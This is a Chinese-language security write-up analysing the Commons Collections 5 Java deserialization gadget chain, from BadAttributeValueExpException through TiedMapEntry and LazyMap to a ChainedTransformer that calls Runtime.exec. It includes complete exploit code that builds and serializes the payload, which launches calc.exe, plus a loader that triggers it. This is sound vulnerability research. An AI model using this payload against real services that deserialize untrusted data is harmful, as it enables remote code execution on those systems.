这篇文章继续分析commonscollections5,由如下调用链可以看到此时最外层的类不是annotationinvoke,也不是priorityqueue了,变成了badattribute
该类要求没有配置security manager
首先在badAttribute的readObject中,调用了valObj.toString(),其中valObj中存储TiedMapEntry类的实例,即调用其tostring函数
接着调用该类的getValue函数
而此时map存储的为lazymap,调用lazymap.get
调用lazymap.get中将调用this.factory的transform函数了,就又到了chainedtransform了
既然到了chainedTransformer,接下来就和cc1的利用一样了,通过一路反射进行rce
第一次Constant返回runtime类
第二次反射调用Runtime的getmethod函数,传入getruntime,返回method类型的getruntime
第三次反射调用getruntime返回runtime类实例
第四轮就可以反射进行rce了,此时反射调用runtime类的exec方法
首先构造chainedTransformer,以及内部的转换器,与cc1相同
接下来构造lazymap,传入chained转换链
接着构造tiedmapEntry存入lazymap,和一个任意的key值,实际上调用该类的getvalue即可调用该lazymap的get函数
接下来构造最外层的badAttributeValue,赋值其val变量为tiedMapEntry,从而调用badAttribute的readObject时调用其tiedMapEntry的tostring
最后反射替换chained中itransformer字段完成利用链的构造
exp.java
package CommonsCollections5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.\*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class exp {
public static void main(String\[\] args) throws NoSuchFieldException, IllegalAccessException, IOException {
//构造内部的转换链
Transformer\[\] trans = new Transformer\[\]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class\[\]{String.class,Class\[\].class},
new Object\[\]{"getRuntime",new Class\[0\]}),
new InvokerTransformer("invoke",
new Class\[\]{Object.class,Object\[\].class},
new Object\[\]{null,null}),
new InvokerTransformer("exec",
new Class\[\]{String.class},
new Object\[\]{"calc.exe"})
};
ChainedTransformer chian \= new ChainedTransformer(trans);
HashMap map \= new HashMap();
Map innerMap \= LazyMap.decorate(map,chian);
//构造外部的触发链
TiedMapEntry entry = new TiedMapEntry(innerMap, "tr1ple");
BadAttributeValueExpException val \= new BadAttributeValueExpException(null);
Field valField \= val.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(val,entry);
//序列化
File file;
file \=new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections5.ser");
ObjectOutputStream obj \= new ObjectOutputStream(new FileOutputStream(file));
obj.writeObject(val);
}
}
readObj.java
package CommonsCollections5;
import java.io.\*;
import java.lang.Runtime;
public class readObj {
public static void main(String\[\] args) throws IOException, ClassNotFoundException {
File file;
file \= new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections5.ser");
ObjectInputStream obj \= new ObjectInputStream(new FileInputStream(file));
obj.readObject();
}
}